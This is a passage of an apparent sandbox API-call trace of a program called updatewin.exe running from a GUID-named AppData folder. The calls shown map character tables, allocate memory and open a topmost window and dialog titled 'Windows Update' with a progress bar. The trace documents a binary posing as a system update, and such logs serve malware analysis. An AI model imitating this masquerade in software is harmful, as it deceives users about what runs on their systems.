LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.681] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x18d908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0055.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18e2dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6e\x9d\x08\xb7\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0055.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.681] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0055.681] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d928, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0055.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18e1dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6e\x9d\x08\xb7\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0055.681] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x80) returned 0x2db0e0 [0055.681] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x413ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe")) returned 0x5e [0055.681] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xc6) returned 0x2dd360 [0055.681] RtlInitializeSListHead (in: ListHead=0x413ad0 | out: ListHead=0x413ad0) [0055.681] GetLastError () returned 0x0 [0055.681] SetLastError (dwErrCode=0x0) [0055.681] GetEnvironmentStringsW () returned 0x2dd430* [0055.681] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0xaca) returned 0x2ddf08 [0055.682] FreeEnvironmentStringsW (penv=0x2dd430) returned 1 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x98) returned 0x2dafc8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3e) returned 0x2dd430 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x6c) returned 0x2dd478 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x6e) returned 0x2dd4f0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x78) returned 0x2c1270 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x62) returned 0x2dd568 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2c52c0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x48) returned 0x2dd5d8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x28) returned 0x2dd628 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1a) returned 0x2dd0a8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x4a) returned 0x2dd658 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x72) returned 0x2c12f0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2c52f8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2c5330 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1c) returned 0x2dd0d0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xd2) returned 0x2dd6b0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x7c) returned 0x2dd790 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x36) returned 0x2dd818 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3a) returned 0x2de9f8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x90) returned 0x2dd858 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2dd8f0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2c5368 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x36) returned 0x2dd920 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x48) returned 0x2dd960 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x52) returned 0x2dd9b0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2dea40 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x82) returned 0x2dda10 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2c53a0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2dd0f8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2c) returned 0x2c53d8 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2ddaa0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x52) returned 0x2ddb00 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2c5410 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2dea88 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2ddb60 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2ddbc0 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2c5448 [0055.682] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x8c) returned 0x2ddbf0 [0055.682] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ddf08 | out: hHeap=0x2b0000) returned 1 [0055.683] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x800) returned 0x2ddc88 [0055.683] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0055.683] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402116) returned 0x404e69 [0055.683] GetStartupInfoW (in: lpStartupInfo=0x18e548 | out: lpStartupInfo=0x18e548*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0055.683] InitCommonControlsEx (picce=0x18e564) returned 1 [0055.683] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x1b0183 [0055.684] LoadStringW (in: hInstance=0x400000, uID=0x67, lpBuffer=0x414378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0055.684] LoadStringW (in: hInstance=0x400000, uID=0x6d, lpBuffer=0x4142b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0055.684] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x1b0183 [0055.685] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0055.685] LoadIconW (hInstance=0x400000, lpIconName=0x6c) returned 0x9016f [0055.685] RegisterClassExW (param_1=0x18e510) returned 0xc141 [0055.685] GetDesktopWindow () returned 0x10010 [0055.685] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0055.685] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x18e510 | out: lpmi=0x18e510) returned 1 [0055.685] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xb01b2 [0055.826] NtdllDefWindowProc_W () returned 0x0 [0055.826] NtdllDefWindowProc_W () returned 0x1 [0055.829] NtdllDefWindowProc_W () returned 0x0 [0055.830] CreateDialogParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0xb01b2, lpDialogFunc=0x401360, dwInitParam=0x0) returned 0x401c8 [0055.927] NtdllDefWindowProc_W () returned 0x0 [0055.930] NtdllDefWindowProc_W () returned 0x0 [0055.930] NtdllDefWindowProc_W () returned 0x0 [0055.934] GetClientRect (in: hWnd=0x401c8, lpRect=0x18d358 | out: lpRect=0x18d358) returned 1 [0055.934] GetDlgItem (hDlg=0x401c8, nIDDlgItem=1000) returned 0x70112 [0055.934] MoveWindow (hWnd=0x70112, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0055.934] GetDlgItem (hDlg=0x401c8, nIDDlgItem=1001) returned 0x601c0 [0055.934] MoveWindow (hWnd=0x601c0, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0055.935] SendMessageW (hWnd=0x601c0, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0055.935] SendMessageW (hWnd=0x601c0, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0055.936] timeGetTime () returned 0x1cd0e [0055.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401690, lpParameter=0x401c8, dwCreationFlags=0x0, lpThreadId=0x4142a4 | out: lpThreadId=0x4142a4*=0xb58) returned 0xbc [0055.937] ShowWindow (hWnd=0x401c8, nCmdShow=5) returned 0 [0055.937] GetClientRect (in: hWnd=0xb01b2, lpRect=0x18df10 | out: lpRect=0x18df10) returned 1 [0055.937] MoveWindow (hWnd=0x401c8, X=0, Y=0, nWidth=412, nHeight=212, bRepaint=1) returned 1 [0055.937] NtdllDefWindowProc_W () returned 0x0 [0055.938] SetWindowPos (hWnd=0xb01b2, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0055.938] NtdllDefWindowProc_W () returned 0x0 [0055.940] NtdllDefWindowProc_W () returned 0x0 [0055.941] NtdllDefWindowProc_W () returned 0x0 [0055.954] NtdllDefWindowProc_W () returned 0x0 [0055.955] NtdllDefWindowProc_W () returned 0x0 [0055.955] NtdllDefWindowProc_W () returned 0x1 [0055.956] NtdllDefWindowProc_W () returned 0x0 [0055.983] NtdllDefWindowProc_W () returned 0x0 [0055.984] NtdllDefWindowProc_W () returned 0x0 [0055.984] NtdllDefWindowProc_W () returned 0x0 [0055.985] NtdllDefWindowProc_W () returned 0x0 [0055.985] ShowWindow (hWnd=0xb01b2, nCmdShow=1) returned 0 [0055.985] NtdllDefWindowProc_W () returned 0x0 [0055.985] NtdllDefWindowProc_W () returned 0x0 [0055.986] NtdllDefWindowProc_W () returned 0x0 [0055.989] NtdllDefWindowProc_W () returned 0x1 [0055.990] NtdllDefWindowProc_W () returned 0x0 [0055.990] NtdllDefWindowProc_W () returned 0x0 [0055.990] NtdllDefWindowProc_W () returned 0x0 [0055.990] UpdateWindow (hWnd=0xb01b2) returned 1 [0055.990] BeginPaint (in: hWnd=0xb01b2, lpPaint=0x18e328 | out: lpPaint=0x18e328) returned 0x101085a [0055.990] EndPaint (hWnd=0xb01b2, lpPaint=0x18e328) returned 1 [0055.990] BeginPaint (in: hWnd=0x401c8, lpPaint=0x18da10 | out: lpPaint=0x18da10) returned 0x2401083b [0055.991] CreateSolidBrush (color=0x5b3ef) returned 0x3910024a [0055.991] FillRect (hDC=0x2401083b, lprc=0x18da00, hbr=0x3910024a) returned 1 [0055.995] DeleteObject (ho=0x3910024a) returned 1 [0055.995] 